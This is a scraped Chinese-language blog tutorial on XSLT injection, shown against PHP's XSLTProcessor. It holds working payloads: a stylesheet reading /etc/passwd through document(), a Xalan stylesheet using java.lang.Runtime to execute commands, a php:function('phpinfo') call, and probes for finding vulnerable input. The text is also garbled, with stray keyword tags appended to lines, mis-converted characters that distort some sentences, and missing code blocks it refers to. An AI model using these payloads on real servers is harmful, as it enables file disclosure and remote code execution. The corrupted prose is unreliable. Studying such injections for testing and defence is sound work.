XSL(可扩展样式表语言)是一种用于转换XML文档的语言,XSLT表示的就是XSL转换,而XSL转换指的就是XML文档自己。转换后获得的通常都是不一样的XML文档或其余类型文档,例如HTML文档、CSV文件以及明文文本文件等等。php
通常来讲,应用程序或模板引擎在处理不一样文件类型时须要使用XSLT来进行数据转换。不少企业级应用比较喜欢使用XSLT,好比说,多用户发票应用程序可使用XSLT来容许客户自定义它们的发票,客户能够根据本身的需求来修改发票信息以及格式。html
其余常见应用:java
- 报告功能
- 多种格式的数据导出功能;
- 数据打印和输出功能;
- 电子邮件;
Talk is cheap, show me the code!下面就用php给你们演示下如何使用xsl对xml文件进行转换。apache
显示xml文件,a.xml:服务器
再看下evil.xsl文件:dom
其实我也不一样xsl,可是从上面文件不难看出,大概意思就是循环根节点fruits下的全部fruit子节点,并查询子节点中的name节点和description节点。xss
最后就是php程序里利用evil.xsl文件对a.xml文件进行转换了,代码以下:函数
本身写的代码,因此非常简陋。大概意思就是利用dom解析xsl和目标xml文件,而后加入到XSLTProcessor对象中进行转换。访问该php文件:ui
发现解析xml了,可是连在一块儿非常难受,我尝试再里面借入<br/>,发现能换行,说明被渲染了。spa
因而尝试在里面加入js脚本
很显然,说明xslt注入能致使xss。
可是xslt注入致使的问题远不止这么点,尝试xxe漏洞读取文件,还能够换一种方式来读取文件
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:value-of select="document('/etc/passwd')"> </xsl:value-of></xsl:template> </xsl:stylesheet>
不过这种貌似只能读取xml文件,读取其余类型文件报错了,有点烦...
算了继续下面的吧,xslt处理器若是不由用,能将本机的java语言方法暴露为XSLT函数,致使任意代码执行漏洞,因为我用的是php代码,就不演示了,直接贴上代码
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
上面说了这么多都是在xsl彻底受咱们控制的状况下,也就是说咱们能够上传xsl文件。但不少时候咱们只能控制xsl文件的部份内容(这里说的xsl文件并不必定是指.xsl后缀的文件,目前了解的状况下好像任意后缀均可以,只要格式是对的就行)。一个易受攻击的应用可能会使用不可信的用户输入动态地生成 XSLT 文档。例如,该应用可能会生成某个 XSLT 文档时,里面部分字符串是不可信的用户输入。能够参考文章https://bbs.pediy.com/thread-222921.htm
为了验证该应用是不是易受攻击的,咱们一般会插入一些会致使 XML 文件语法错误的字符,例如双引号、单引号和尖括号{", ', <, >}。若是服务器会返回错误,那么这个应用就有多是易受攻击的。通常而言,这种定位技术与定位 XML 注入漏洞的技术相似。
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:text>xsl:vendor = </xsl:text><xsl:value-of select="system-property('xsl:vendor')"/><br/>
<xsl:text>xsl:version = </xsl:text><xsl:value-of select="system-property('xsl:version')"/><br/>
</body>
</html>
php
<?xml version="1.0" encoding="UTF-8"?> <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <body> <xsl:value-of name="bugbounty" select="php:function('phpinfo')"/> </body> </html>